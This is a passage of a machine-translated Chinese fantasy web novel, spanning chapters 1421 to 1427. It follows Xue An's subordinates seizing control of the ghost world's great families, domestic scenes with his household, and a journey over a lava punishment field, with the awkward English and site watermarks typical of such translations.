    Xue An nodded, "Very good!"


    However, Luo Jian suddenly did an unexpected thing at this time. He suddenly showed pain on his face, and an imaginary light and shadow flew out of the center of his eyebrows, flew to Xue An, and disappeared.


    Then Luo Jian seemed to be fished out of the water, sweating profusely, and even his face became paler, but he spoke very respectfully.


    "My lord, I am humbled and dare not forget the kindness of the adult. I will worship this divine mind clone. If I have this divine mind clone, if I have a heart of disobedience, I will burst into death when you think of it!"


    Luo Jian said it very seriously, but in fact he really thought so.


    Xue An raised his eyebrows slightly, and then looked at Luo Jian with interest.


    Of course he could know that the divine mind clone that Luo Jian enshrined for him was real.


    But Xue An didn''t care about these at all, because if he really wanted Luo Jian to die, even if there was no clone, it was just a matter of breathing.


    But Luo Jian was very smart and still did.


    Because he also knew that Xue An wanted to kill himself easily.


    But by doing so, he was expressing an attitude and tying himself to Xue An on his own initiative.


    I have to say that this hand is very beautiful and spicy enough.


    After all, Xue An and the others are clearly Mingjun''s people, and the enemy is almost all the giants in the ghost world.


    He still did.


    Therefore, after Xue An stared at Luo Jian for a long while, a touch of appreciation flashed in his eyes.


    Luo Jian naturally felt this too, and couldn''t help but sigh in secret.


    Because he knew that he was right!


    As for the future enemy of the entire ghost world giants.......


    Luo Jian had a hunch that in the hands of this young man in white clothes, no existence would be his opponent!


    At this moment, Ren Tianqi, who had been standing aside, also knelt to the ground with a plop, and said with a trembling voice.


    "My lord, what Luo Jian said is also my heartfelt voice. I am willing to serve you as my lord if I am humble.


    When he said this, Ren Tianqi''s eyes fluttered with blood, and he actually made a great oath of soul origin.


    This kind of oath acts directly on cause and effect. If there is resistance, no matter how deep the cultivation level is, it cannot resist.


    Xue An was not surprised by Ren Tianqi''s statement.


    Because even if he doesn''t regard himself as the master now, he can no longer get out.


    After all, he is also self-destructive in an indirect sense.


    And from the moment he made this decision, he actually couldn''t look back.


    Because once this news spreads, his situation will be extremely dangerous.


    No wealthy family would allow such a person who betrayed the family to exist.


    But if he becomes Xue An''s subordinate and takes charge of Ren''s family with his power, everything will be different again.


    Betrayal of the family is not allowed, but if the family seizes power, it is normal.


    Because this kind of drama is performed almost every day among the giants in the ghost world.


    It can also be seen that this Ren Tianqi is not a fool either.


    Xue An naturally knows these doorways, Wen Muling seems to understand but Wei Qingxiao knows well.


    But the more this happened, the more she felt shocked, and the more jealous she became towards Xue An.


    It didn''t take a lot of effort to harvest two loyal subordinates who would never betray him. Could it be that he had calculated this in advance?


    If so, then he is too terrible!


    Wei Qing laughed with a lot of thoughts in his heart, but Xue An suddenly laughed and nodded.


    "Okay! In that case, then I will give you a chance!"


    "For three days, I will wait another three days in this realm. In these three days, I want to see you completely suppress this realm and take control of it! Is it possible?" Xue An asked with raised eyebrows.


    Luo Jian and Ren Tianqi looked at each other, and then they all put their hands together, "Here!"

 Chapter 1422： Don’t...

    Those attending the Luo family banquet this time are all well-known families in the depths of the ghost world.


    So many powerful elites gathered together, but Xue An ended up in a pot, not even one survived.


    Because of this, when this incident spread, it was like a heavy nuclear bomb, completely blasting the entire depths of the ghost world.


    "What? The Pan family, the Mo family, the Ren family, and the Tan family, were wiped out and all died in the Luo family?" Someone exclaimed in exclamation, and couldn''t believe it was true!


    "Yes, they are indeed dead!" Someone looked sad.


    "Who did it? Could it be that the Luo family deliberately deceived the wealthy family under the guise of the banquet, but actually wanted to wipe out in one fell swoop, so as to dominate the depths of this ghost world?" This is a conspiracy theorist.


    "Although I don''t know the specific situation, it is definitely not what you said!"


    "How do you know it''s not? You haven''t seen it with your own eyes?" the man retorted with a sneer.


    "Of course I didn''t see it with my own eyes, but there is one thing you may not know!"


    "what''s up?"


    "That means all the senior leaders of the Luo family are dead!" the person said coldly.


    This sentence made this person who had found the truth on his own, his complexion instantly became difficult to look at, and he couldn''t help muttering: "Who did it then?"


    "Yes! Who on earth has such a powerful strength to wipe out all the giants in the depths of the ghost world in one fell swoop?" Someone murmured.


    This is only the remarks of bystanders, and for those families whose heads, elders, and elite children have been wiped out, this news is even more difficult for them to accept.


    "What the **** is going on? No, I''m going to avenge my father!" A youth roared from the Mo family.


    And similar voices echoed over the giants.


    Almost everyone''s eyes were gathered in the Luo family in Ten Thousand Ghosts City, because they could feel that a storm that could subvert the existing pattern in the depths of the entire ghost world was coming.


    at last.


    Just in the case of everyone''s attention.


    The Luo family and Ren Tianqi appeared suddenly and made a statement together.


    This incident is purely the responsibility of the great family members, and as the master''s subordinates, this time they must uphold the master''s will, completely change the previous pattern of interests, and control the depths of the entire ghost world.


    If anyone is willing to join, they must rush to the city of ghosts to swear allegiance.


    As for those who refuse, kill!


    boom!


    When the news is passing, it will turn into the sky!


    The uproar caused by this statement even surpassed that of all the giants.


    Because it sounds incredible.


    The two wealthy and abandoned sons suddenly stood up and said that they wanted to control the depths of the ghost world, and let everyone surrender to it, otherwise they would kill them without mercy.


    This is almost as ridiculous as black humor.


    Even if many of the rich and elite are dead, the remaining people should not be underestimated. With Luo Jian and the two of them, they cannot do it to the death of exhaustion.


    As a result, cynicism and sarcasm were all around for a while, and even worse, Luo Jian and Ren Tianqi yelled at them, believing that they had betrayed the depths of the ghost world.


    Only some people with calm minds and careful thoughts can read a different taste from this statement.


    Master, subordinate, uphold the will!


    These words obviously reveal great secrets.


    So these people kept silent very wisely, and even more quietly prepared them....


    really.


    When the statement was issued the next day.


    The door of Luo''s house was extremely deserted, and no forces came and ran away.


    Many people even wait and see jokes at home.


    But at this time, Luo Jian and Ren Tianqi walked out of the Luo family mansion separately.


    They did not lead any entourage, they were just wearing white clothes and holding a long sword, and after leaving the gate of the Luo Family Mansion, they parted ways and started their respective journeys.


    Renjia!


    Ren Tianqi raised her head and looked at this luxurious mansion where she had lived for decades.


    There are many memories of him in this mansion, but without exception, these memories are all related to hatred.


    That''s why he was so resolute in the banquet hall to kill everyone in the Ren family.


    Before coming to the house again, Ren Tianqi did not show any sympathy at all, just took a deep breath, and then stepped up the steps.


    When the guard in front of the door saw that it was Ren Tianqi, they couldn''t help exclaiming.


    "It''s the second young master!"


    "Bah, he is the second young master, a shameless offspring who betrayed the family by eating inside and out!"


    "Hurry up and inform the Great Elder!"


    These shouts and verbal abuse came one after another.


    Ren Tianqi did not continue to walk in, but stood in front of the mansion gate, looking at the Ren family members who were glaring at him in the distance, a sneer appeared on her face.


    At this moment.


    Just heard a loud roar coming from Ren''s house.


    "You bastard, how dare you come back?"


    Following the roar, a ghost light flashed across the sky and appeared in the field instantly.


    After landing, he was an old man in bright clothes.


    The old man glared at Ren Tianqi, so he couldn''t wait to pounce on Ren Tianqi now and eat him alive.


    Ren Tianqi was not moved at all. Instead, she nodded slightly at the old man, "Great Elder!"


    "Don''t call me the great elder, there is no rebellious son like you in Ren''s family!" the old man roared.


    Ren Tianqi showed a sneer on her face, "Isn''t it my turn to be from the Ren family? I''m here this time, there is only one thing!"


    Speaking of this, Ren Tianqi raised her hand to point to the great elder, and said coldly: "You will destroy your own soul, and I will be in charge of the Ren family!"


    This sentence caused the expression on the old man''s face to stagnate slightly, before turning into infinite fury.


    "Suzaku dare, I want to peel off your skin!"


    As he said, the old man roared and rushed up.


    Ren Tianqi sneered coldly, "Sure enough! Great Elder, what you have done to my mother back then, you should know best, so I let you kill yourself is the greatest forgiveness to you~www.novelhall. com~ If you don��t want it, don��t blame me!"


    Ren Tianqi''s words caused the great elder''s figure to pause slightly, and a look of panic appeared in his eyes, but immediately this panic was replaced by more turbulent fury.


    "Ah ah ah ah, it''s useless to say more, I will die!"


    This great elder is the oldest ghost in the Ren family. He rarely appears, and usually stays at home to guard him. Therefore, he can survive the disaster of the rich.


    And this also means that his strength is amazing, and once a ghost emperor-level cultivation base is deployed, it is enough to change the color of the situation.


    Compared with this turbulent weather, Ren Tianqi''s figure is too thin, like a fallen leaf in a strong wind, which will be blown out at any time.


    Many members of the Ren family sneered at this scene.


    But at this moment, Ren Tianqi raised the sword in her hand respectfully, flushing on her face due to excessive excitement.


    "The master said, don''t talk nonsense about the problems that can be solved with a sword, now it seems that it is true!"

 Chapter 1423： Novel big toy

    When he said this, the great elder rushed to the front, and he was about to reach Ren Tianqi.


    At this moment, Ren Tianqi suddenly drew his sword, and then cut it out.


    boom!


    A bright and blinding sword light came from the sky.


    Everyone only felt that their eyes were white, and then they felt cold, as if Na Sen Leng Jianyi had cut off all their hair.


    This kind of bitter sword intent naturally shocked the audience.


    When the sword light dissipated, everyone looked up again, and saw the great elder standing in place, and then a blood line appeared from his forehead and stretched straight down, thoroughly piercing his entire body.


    boom!


    After a muffled sound, the entire body of the great elder split into two.


    The blood splattered, and it fell.


    Everyone stared blankly, and it was still a bit difficult to accept the scene in front of them.


    Ren Tianqi''s face showed a fanatical color, and she re-wrapped the sword respectfully and put her back behind her, then looked around the audience and said coldly.


    "Now tell me, would you like to serve me as your Lord?"


    Everyone in the Ren family looked at each other, and they all saw the fright in each other''s eyes.


    Then after a moment of silence, someone walked out slowly, bowed to his knees, and said, "Subordinates are willing!"


    Someone took the lead, and the rest did not hesitate anymore, rushing forward to swear allegiance.


    In the end, everyone in the Ren family fell to their knees, and Ren Tianqi looked at these people and finally nodded.


    "Very good! Since then, I will be in charge of the Ren family!"


    quickly.


    Ren Tianqi went to Ren''s house alone and killed the Great Elder with a single sword. The news of the successful recovery of Ren''s house spread once again.


    "Hi! How can Ren Tianqi have such terrifying swordsmanship?"


    "Don''t ask, it must be given to him by someone behind him!"


    "Who is this person? What does he want to do?"


    "I don''t know, because everyone who has seen that scene is dead!"


    In these horrified discussions.


    Luo Jian was not to be outdone here, he was also one man with one sword, but in a single day, he overturned several big families such as the Pan family and Mo family.


    No matter how much battle the opponent puts out, what hidden giant masters are dispatched, they are not Luo Jian Yijian''s opponents.


    And losing the strong, the remaining miscellaneous soldiers are much easier to deal with.


    So soon, Luo Jian''s side was like a snowball, and the power grew stronger.


    In this situation, Ren Tianqi was not to be outdone. After using thunder to wash away the evil dregs in the entire Ren family, Ren Tianqi immediately began to fight the Quartet.


    This time he absorbed the previous lesson and never said a word of nonsense.


    As long as you refuse to obey, it is cut out with one sword.


    Therefore, he soon came up from behind, faintly surpassing Luo Jian.


    As a result, the wealthy people in the depths of the ghost world caused a **** storm because of Luo Jian and Ren Tianqi.


    In this situation, those wealthy families who had been ridiculing and clamoring wildly before, saying that they would never surrender, began to liven up their minds.


    Very [800 novel www.800book.vip] fast.


    Someone took the initiative to surrender in order to survive.


    Just when the whole ghost world was trembling.


    In the Luo family mansion.


    Xue Anzheng smiled and watched the happily thinking and thinking about playing with Wei Haocang.


    Speaking of this, it was the first time these two little girls came out of the Fubao Xiaolou after entering the ghost world.


    Therefore, these two little girls, who are about to be suffocated, are almost flying with excitement at this moment.


    But this is not simply because they came out to let go, and more importantly, the two of them got a novel "big toy".


    That is to say, Wei Haocang, who was obedient to miss Nianyan, was smiling.


    Although this Wei Haocang was stupid, he didn''t mean to dislike him in the slightest, but quickly became a good friend with him.


    of course.


    This all-you-can-talk is usually two little girls chatting, and Wei Haocang listened with a smirk.


    More importantly, Wei Haocang could actually understand the meaning of the two little girls, and he was obedient to his words, even a little bit happy.


    For example, now...


    "Hey big guy! It''s up to you to catch us two now! But don''t peek at it!" Think about it seriously.


    "Hey, no... don''t peek!" Wei Haocang obediently covered his face with his hands, and let out a simple smirk.


    "Niannian, you count him, otherwise he won''t know how to count!"


    "Okay! One, two, three..." Niannian yelled as she and her sister crept up to Wei Haocang''s back.


    "twenty!"


    After shouting out this number, Wei Haocang put down his hand covering his eyes and looked at the yard somewhat blankly. No trace of the two little girls was found. He grabbed the back of his head with his hand, and turned around to look at the back after he smiled. .


    But as he turned around, the two little girls, like two clever little cats, moved along with them, never leaving behind him.


    So Wei Haocang turned several times, but he couldn''t find the two little girls. This made him a little irritable, and finally bowed his head dejectedly.


    "Lose... lose!"


    When he said the word, Thinking and Niannian suddenly popped out from behind Wei Haocang.


    "Ha! Big guy you lost again!" Thinking about it, said with a smug look on his waist.


    "Yeah! Big man, you are so stupid, the two of us are hiding behind you, you didn''t notice it!" Niannian said.


    Although he lost, when Wei Haocang saw the two little girls, he couldn''t help but danced with joy, and gave out bursts of giggles, and then squatted down very skillfully, kneeling on the ground.


    Thinking and Niannian sat unceremoniously on Wei Haocang''s back, and then Wei Haocang began to circle the yard like a horse.


    Miss Miss Nian gave out a cheerful laugh Wei Haocang also followed with a giggle.


    Xue An looked a little weird when he watched such a scene. It was not until after a long time that he leaned on the chair and let out a sigh of relief.


    "Husband, who is this stupid child?" An Yan also walked out of Fu Bao Xiaolou at this time, and Hu Ying also came out together.


    As for Zhang Xiaoyu, she has lost a bit in the fight against the landlord recently. She has been hiding in the room for several days and has not shown up. She has the reputation of taking care of Master Xiaosha''s dragon egg.


    Xue An smiled faintly, "Is this kid...you will know about it in the future!"


    An Yan nodded without understanding, and didn''t ask any more questions.


    It was Hu Ying. When she saw Wei Haocang who was kneeling and crawling on the ground with a smirk, she didn''t care much at first, but when she took a closer look, she was stunned.


    Then her face became extremely weird, and a ray of doubt about life flashed in her eyes, and she whispered softly: "This... how is this possible?

 Chapter 1424： Family letter

    An Yan asked strangely, "Ying''er, what''s wrong?"


    "Ah, it''s okay! Maybe...I might have read it wrong!" Despite that, Hu Ying''s face was still full of strange expressions.


    At this time, Wei Qingxiao also walked into the courtyard. When she saw Wei Haocang, who was lying on the ground as a horse and playing with two little girls, her eyelids twitched.


    In any case, Wei Haocang is the eldest master of the Wei family, and this status is considered top honor in the ghost world.


    But now he is crawling on the ground continuously, making his body dusty, still enjoying it.


    If this look is seen by outsiders, it is estimated that the jaw will drop in shock.


    And if other people dared to tease his brother like this, Wei Qingxiao would definitely run away on the spot and kill him quickly. But now Wei Qingxiao can only assume that he hasn''t seen it.


    Because Xue An understands that if she wants to cure Wei Haocang''s disease, she must unconditionally trust and cooperate with him, and there must be no violation.


    So even though he felt very uncomfortable, Wei Qingxiao could only pinch his nose to recognize it.


    But when she saw An Yan suddenly appearing in the courtyard, she couldn''t help being shocked again, and a stunning color flashed in her eyes.


    We must know that Wei Qingxiao has always been arrogant about her appearance, and since she grew up, she has been called the number one beauty in the ghost world more than once.


    But today, when she saw Qiaoshengsheng standing aside, An Yan, who happened to be talking to Xue An with a smile.


    Her confidence collapsed suddenly.


    Because regardless of appearance or temperament, An Yan is enough to crush her.


    Especially when she and Xue An stood together, it was like the sun and the moon hanging lonely on the sky, and they reflected each other, bringing all the glory together.


    Although just standing there simply, it is like the master of this small courtyard, making everyone else a background board.


    Such an extraordinary temperament naturally made Wei Qing laughed in awe, and he could not even produce the slightest desire to win.


    Sometimes this is the case. When the beauty is at its extreme, you can''t even give birth to jealousy, you can only admire and appreciate it.


    When Wei Qing laughed in astonishment, Xue An smiled at her slightly.


    "You''re here?"


    "Uh... yes!"


    "How is it? Is your brother better than before?" Xue An pointed to Wei Haocang, who was covered in dust but was having fun, and said lightly.


    Wei Qing laughed carefully for a long time, but couldn''t see any changes. Instead, he felt that his whole body was dusty and dirtier than before.


    "Cang''er?" Wei Qing laughed and couldn''t help but shouted.


    Wei Haocang turned his head and glanced at her. If it were before, he would definitely run over, but this time Wei Haocang just glanced at her, then continued to lower his head and played hide-and-seek with the two little girls.


    Seeing this scene, Wei Qingxiao suddenly felt empty in her heart, as if a flower she had cultivated since childhood was suddenly taken away by someone even with a flower pot.


    "You know, we have a saying! Since the mental disorder, the whole person has become more energetic! This is the situation with your brother now, but it is at least much better than the previous dull gourd! Isn''t it?" Xue An Said lightly.


    Hearing what Xue An said, Wei Qing smiled and nodded without understanding.


    But at this moment, Hu Ying, who was standing by, saw Xue An''s dignified look, so she couldn''t help but snorted.


    Wei Qing smiled slightly and frowned, looking for the sound, only then saw Hu Ying standing aside, she didn''t care at first, but after a closer look, she was shocked, and then there was horror on her face. color.


    "Fox... Fox demon? Fox spirit?"


    Hu Ying, who was originally smiling, suddenly sank after hearing this, "You are a vixen, and your whole family is a vixen! Grandma is Tianhu, do you understand Tianhu?"


    Wei Qingxiao was indeed a little silly.


    As a child of the top giants in the ghost world, she certainly knows that there are many races in the heavens and the world, and the strong are like clouds.


    The Yaozu is one of the big forces that cannot be ignored.


    Among the monster race, the fox race is second to none.


    This also led to the popularity of the fox demon.


    Looking at the appearance of this little girl, she is noble and powerful, and she is obviously a top fox family with ancient blood.


    And Hu Ying''s words also confirmed this idea.


    The celestial fox clan...the master of the Qingqiu fox world.


    Such an identity, not to mention oneself, is the sum of all the self-esteem giants in the ghost world, they are not comparable to others!


    But the key is how could such an existence suddenly appear in the ghost world?


    And she looked like a little maid when she was standing next to Xue An.


    This is simply incredible!


    At this time, Fox Ying was still reluctant, just like a cat with blown up fur, gritted her teeth and said: "Hey, now tell me clearly, who is the fox?"


    Wei Qing laughed a little dumbfounded.


    She also knew that she had done something wrong just now, but the vixen was just because she had a quick mouth, and she just blurted it out. At that time, she didn''t think so much.


    But I didn''t expect this little girl who looked only fifteen or six years old to be so pungent.


    At the moment when Wei Qing laughed and didn''t know how to respond.


    Xue An chuckled softly, "Okay! She just said that casually! If you are a vixen, wouldn''t she be a ghost? Isn''t that even?"


    Hu Ying squatted her mouth puffingly and snorted before she stopped speaking.


    Wei Qing laughed at this scene in a daze.


    She didn''t know who this An Yan who looked like a fairy Lingbo was, and she didn''t know how Hu Ying appeared here.


    In fact, she is now numb to Xue An''s endless methods.


    "Ms. Wei came here in such a hurry, is there anything wrong?" Xue An asked.


    Wei Qing laughed and then awoke from the astonishment, then remembered his purpose here, and nodded with a solemn expression.


    "I just received a letter from home!"


    "Oh? How to say?"


    Wei Qing laughed in a difficult tone, "They want me to go back as soon as possible!"


    "Go back as soon as possible?"


    "Yes!"


    Xue An seemed to smile What do you think? "


    Wei Qing laughed and shook his head, "I don''t know, but this time the letter is very strange. Apart from asking me to take Cang''er back as soon as possible, I didn''t say anything else! But the more so, among them The more weird it is!"


    Speaking of this, Wei Qing laughed in a low voice, and his face was very sad.


    Because he has been in a dangerous situation surrounded by wolves since he was a child, Wei Qingxiao''s mind is very keen.


    If it weren''t for this, it would be impossible for the two of them to live till now.


    Therefore, when she received the letter from the family, she knew there must be something strange.


    Otherwise, there won''t be such a dull messenger.


    But the key is that Wei Qingxiao doesn''t know whether this transmission is a blessing or a curse, and the injury of his younger brother seems to be healed, which makes Wei Qingxiao, who has always been strong, confused.


    Because of this, she came over to discuss with Xue An.

 Chapter 1425： Those little secrets of Fox Night!

    After hearing Wei Qing''s laugh, Xue An chuckled lightly, "You''re right, this thing is really weird!"


    "Then what do you think we should do now?" Wei Qing gritted his teeth with a smile, "I can assume that I haven''t received this letter before, and then we hurry up and heal Cang''er as soon as possible!"


    Xue An shook his head, "You are wrong!"


    "Ok?"


    "How do you think your brother''s disease needs to be treated? Find a beautiful and beautiful place to recuperate? You are wrong, it may be improved, but it can''t solve it at all!"


    Speaking of this, Xue An looked up at Wei Qing and smiled quietly, "Because all the cruxes are in your family! So if you want to really cure your brother''s disease, you must not only not shrink back, but also take the initiative. Hurry back!"


    "But..." Wei Qing laughed still a little worried.


    Xue An waved his hand, "I understand what you are worrying about, but don''t you think this is a test for your brother? He has to go all the way by himself! And..."


    Xue An smiled brightly, but his eyes were full of chills, "I will go back with your siblings!"


    Wei Qing laughed and looked at Xue An quietly after hearing the words, and finally took a deep breath and nodded slowly, "Okay! I see!"


    After that, she turned and left.


    Xue An looked at her leaving behind and smiled faintly, "Yan''er!"


    "Ok?"


    "Pack up things, we are leaving!"


    "it is good!"


    Immediately afterwards, An Yan performed the Little Stick Dafa to make the two little skin monkeys miss "obediently". After reluctantly saying goodbye to Wei Haocang, he honestly went back to the Fubao Xiaolou to change clothes. .


    Although Wei Haocang was also full of dismay, but somehow, he was respectful and afraid of An Yan, and he obediently left with the Wei family''s entourage.


    So soon, the small courtyard became quiet again.


    But Hu Ying did not leave. Instead, she looked at Wei Haocang''s leaving back with great interest, until he completely disappeared at the courtyard gate, before taking back his gaze and chuckles.


    "Brother Xue, this guy... is unusual!"


    As a princess of the fox clan, although Huying''s cultivation is not very high, her vision can be said to be unique in the world.


    So she could feel that this silly Wei Haocang was not as simple as it seemed on the surface.


    Xue An also smiled, "Yeah! It is indeed...very unusual!"


    Hu Ying looked at Xue An''s smile and suddenly said, "Brother Xue!"


    "Ok?"


    "Are you going to kill someone next?"


    "Why do you say that?"


    "Because my brother said, as long as there is no smile in your eyes when you smile, then someone is going to be unlucky! Is that right?"


    Xue An laughed dumbly, raised his hand and squeezed Fox Ying''s face, "You little girl!"


    "Hehe!" Hu Ying smiled.


    "Speaking of which you haven''t seen your brother for a long time! Don''t you want him?"


    Hu Ying pondered for a moment, then nodded silently, "A bit!"


    "Then wait for the ghost world, I will send you back first!"


    "No!" Hu Ying immediately shook her head, and then said very firmly: "I suddenly don''t want him anymore, because of a lazy and sloppy brother like him, I won''t think about it!"


    Xue An was a little bit dumbfounded when he heard this, "Your brother is lazy, I know, but why is he sloppy?"


    "Ahem, Brother Xue, you don''t know. When my brother was still in the Qingqiu Fox Country, he was practicing with the Great Elder. He..."


    Hu Ying began to vividly talk about the embarrassing things about Fox Night, and even Xue An had heard of these things for the first time, so the more he listened, the more he smiled.


    Boy, when I see you next time, based on these things, you have to call my eldest brother obediently!


    at the same time.


    In a world extremely far away from the ghost world, Fox Ye was sitting under a flowering tree with a gentle face, and was chatting and laughing with a few women.


    But just when he could speak vigorously, several women were also dazzled with admiration, Huye suddenly felt an itchy nose, and then sneezed several times.


    At this time, the immortal energy created with great difficulty disappeared.


    Huye wiped his nose with his robe sleeve habitually, and kept muttering in his heart, what''s the matter?


    Why did you stay well, but suddenly sneeze?


    Then he raised his head and said with a smile on his face: "Let''s continue down...Huh, where are you? Several flower demon sisters, where have you been?"


    Hu Ye stood up, looked around in a daze, but didn''t see the slightest trace of the flower demon.


    Hu Ye stomped annoyedly, "Really, I don''t fight early or late, I must sneeze at this time!"


    As he said, he wiped his nose again, and then he wanted to rub the flower tree.


    But at this moment, the flower tree that was in full bloom instantly condensed all the flowers, and then rose from the ground in a thunderous manner, without even wearing shoes, waving the roots of the tree and ran away. Up.


    Hu Ye stood there alone, staring at the flowers and trees that had run away, then looked down at the big hole on the ground.


    "What about him..." Hu Ye looked depressed, then rubbed his hands on his clothes, turned and left dejectedly.


    Of course, Fox Ying doesn''t know these things! And even if he knew it, Hu Ying wouldn''t care about it!


    Because when I was a child, the a little clean Huying was deeply poisoned by Sloppy Fox Night.


    This is also one of the reasons why Hu Ying never returned on the road of Hang Ge.


    The next day, the three-day period expired!


    By this morning, Luo Jian and Ren Tianqi had already been waiting in the courtyard as soon as Xue An left the room.


    And looking at the dew on the two of them, it seems that they have been waiting for a long time, but even so, they are not tired of the slightest, and they still stand tall and tall.


    Until Xue An walked out of the room, the two men bowed in unison.


    "I have seen you!"


    Xue An smiled slightly, "It looks like your mission has been completed!"


    Luo Jian raised his head, his face full of excitement, "Yes, sir! Brother Tianqi and I, holding the sword intent you bestowed on us, have already surrendered all the giants in the depths of the ghost world!"


    As they said, the two respectfully offered their swords with both hands Xue An glanced at the two swords and said calmly: "Okay, these two swords will be given to you!"


    The two of them trembled, and then they all looked excited.


    "Thank you, sir!"


    Xue An stepped to the stone table in the courtyard, and only after sitting down did he say leisurely: "In fact, you should also understand that although the depths of the ghost world are temporarily suppressed by you, if you want to truly control it, It will take a long time, and this requires your own means!"


    "Understand!" Both naturally understood this.


    In just three days, it was extremely unbelievable to subdue all the giants.


    So if you want to convince all the giants with this alone, it is simply a dream.


    "Just understand, there is my sword intent on these two swords, and they should be able to support the three swords, so you cherish it!"


    "My lord, don''t worry, the two of me will do my best to live up to the expectations of the adults!" Luo Jiangong said.

 Chapter 1426： Lava field

    Xue An smiled and nodded.


    He believed in the methods of these two men.


    Because if they didn''t even have this ability, they would have died in the midst of the previous giants.


    At the same time, everyone woke up and came to this small courtyard.


    Xue An looked at Luo Jingting, who looked sad among the crowd, and couldn''t help sighing lightly.


    Previously, Xue An learned from the memory of Luo Gaoyang, the owner of the Luo family, that Luo Jingting was not a member of the Luo family at all. As for her real life experience, Luo Gaoyang was not clear.


    I just know that she bought it through a dealer!


    And because of the long time, he didn''t know where he bought it from.


    This also cut off Luo Jingting''s possibility of investigating his true identity.


    This naturally made the little girl sad.


    Thinking of this, Xue An nodded his hand, "Miss Luo!"


    Luo Jingting shook his whole body, stepped forward, and said, "My lord!"


    The voice was dumb and haggard.


    Xue An said softly: "Although your life experience is unknown, the Luo family is different now, so you should stay in the Luo family. I think Luo Jian will be willing too!"


    As soon as the voice fell, Luo Jian nodded without hesitation: "Don''t worry, my lord, I will treat Sister Jingting as my own sister!"


    Luo Jingting was full of sadness, but in the end he nodded and said like a mosquito, "Thank you, sir!"


    "Miss Wen..."


    Before the words finished, Wen Mu Ling shook her head solemnly and said: "Sir, don''t say it, I won''t go, because I swear, I must watch those rich men who harmed Lord Mingjun eat their own fruits. !"


    Xue An smiled, "Who told you to go back!"


    "Uh..." Wen Mu Ling was a little surprised.


    "I know that before leaving, Zang Xueling gave you an ancient mirror. If you tell her through this, you will say that the Luo family''s affair is over, and the many rich and powerful people in the depths of the ghost world have been put to death. She can feel at ease!"


    "Oh, good! I understand! I will do it now!" Wen Mu Ling nodded.


    All that is left is to take care of all the trivial things deep in the ghost world.


    Soon, everything was sorted out.


    Xue An led a group of people and boarded the ghost car with Wei Qingxiao, and then soared into the air, instantaneously black light, and headed towards the central ghost world.


    Luo Jian and Ren Tianqi looked at the ghosts that had disappeared respectfully. After a long time, they let out a sigh of relief.


    "Brother Tianqi, do you think the lord can come back safely this time?"


    Ren Tianqi glanced at Luo Jian, nodded solemnly, "I can!"


    Luo Jian also smiled, "Yes, I think so too!"


    Although the speed of this ghost car is not very fast, it is definitely tailored to travel in the ghost world.


    There were no bumps along the way, and he escaped from the depths of the ghost world smoothly and flew into the borders of the central ghost world.


    This piece of heaven and earth is the essence of the entire ghost world.


    There are many ghost races on the periphery, and they may not be able to step into this central ghost world for a lifetime.


    Therefore, in many people''s minds, this central ghost world is their holy land.


    The ghost car slowly passed over the sky of the central ghost world.


    It''s not that its speed is not fast, it''s because the world is too vast, so vast that this huge ghost car becomes extremely small, and even the speed has become like a snail, moving slowly.


    An Yan stood in front of the porthole with a look of surprise, looking at the land where the ghost car flew over.


    This is a kind of extreme desolation, with a little wild fire floating on the pale land.


    There are no plants, no rivers, and the ground is flat like a mirror, without a trace of ups and downs.


    Only the thin black mist cruising above the earth, like a giant beast, was crawling lazily on the earth.


    The surroundings were quiet and terrible, with no signs of life.


    "Husband, is this the Central Ghost World?" An Yan asked in astonishment.


    "Yeah! This is the Central Ghost Realm! Do you want to ask why it is so desolate, it can''t even compare to those peripheral ghost realms, right?"


    An Yan nodded, "Yes! There are still mountains and rivers in those fringe ghost worlds, but there is nothing here!"


    "That''s just because the edge ghost world and other places belong to the ghost world formed by the day, and this central ghost world is the true origin of the original ghost world!"


    "The origin of the original ghost world?"


    "Yes! To put it bluntly, this is the root of all ghost races, and the layers of ghost world that surround it are derived from the later erosion and plundering of other planes by the ghost race! That''s why such a big picture appears. Different topography!"


    "Then how boring to live here?" An Yan sighed.


    "Hehe, what we are flying now is only the outermost periphery of the central ghost world. It is so desolate because it is located in an extremely remote area, and there are no strong people. It will be so desolate when you fly in for a while. The difference is different!" Xue An explained.


    At first An Yan didn''t understand what the situation would be different before. It was not until one day later that the ghost car flew into a wider area, and she understood the meaning of Xue An''s words.


    But seeing the lava flowing like a river everywhere on the ground, the scorching heat waves soared into the sky, and even the air was swayed.


    Even in the ghost car, you can still clearly feel the surrounding temperature rise.


    But even in this extremely harsh environment, there are countless naked ghosts on the ground who are doing hard labor.


    What they have to do is to take the hot lava from the lava river and use it to build the city.


    This kind of work is extremely dangerous. Just for a while, An Yan saw more than one ghost fell into the magma, screaming and disappearing.


    These tragic conditions made An Yan look pale.


    "Husband..."


    Xue An smiled faintlyDon''t be afraid, you can see! "


    An Yan looked around, but saw the magma river, the ghost clan who had just been burned into nothingness began to condense again.


    In an instant, the dead ghost clan appeared in front of him intact, and then continued to numbly do hard labor.


    And if there is a slight slack in the crowd, a long whip will emerge out of thin air next to it, and then a whip will be drawn, often hitting the ghost clan screaming.


    "Husband, what are you doing?" An Yan was frightened when she saw it, and she turned her face away and dared not look again.


    Xue An said calmly: "This is where the ghost tribe is punished! If I''m not mistaken, this should be the land of lava!"


    "Punishment place? Are you saying that these ghost races made mistakes? Also, this place will be in charge?" An Yan asked curiously.


    "It can''t be said that all of them have committed crimes! At least there are many abandoned sons who have failed because of the overwhelming and failed struggle! As for the people in charge here...


    Xue An said in a deep voice: "Those who can control this place of punishment are basically the powerful masters of the palace!"

 Chapter 1427： The strong master, entrusted to warn

    As soon as the voice fell, I saw the lava river under my feet suddenly violent, and the fiery snake danced wildly, and the earthquake trembled.


    An Yan changed suddenly, "Husband!"


    Xue An held An Yan''s hand and said with a chuckle: "It''s okay, there''s me!"


    An Yan calmed down and asked curiously: "Husband, what''s the matter?"


    Xue An looked at the boiling lava river in the porthole, and said lightly: "It''s okay, it''s just that the person in charge here is present!"


    "The person in charge here? You mean..."


    "Yes, it''s the Lord of this lava field!"


    "What is he doing?"


    "Who knows, maybe it''s a ghost passing by here, so come over and say hello hospitably!" Xue An said calmly.


    at the same time.


    Wei Qing smiled in the cockpit, his expression also becoming very solemn, staring at the strange shape in the front porthole, his hands clenched, his heart trembling.


    She naturally saw the strangeness!


    And she knows more about it than Xue An.


    As Xue An said, the controller of this lava land is a powerful man named Rongyang.


    Even in this central ghost world, the powerhouse master level can be regarded as a powerful party.


    What''s more, Rongyang is one of the top ten hall masters of the land of punishment, and his strength is unfathomable.


    Such an existence, even the Wei family, dare not easily offend.


    As for Wei Qingxiao, he can''t provoke him even more.


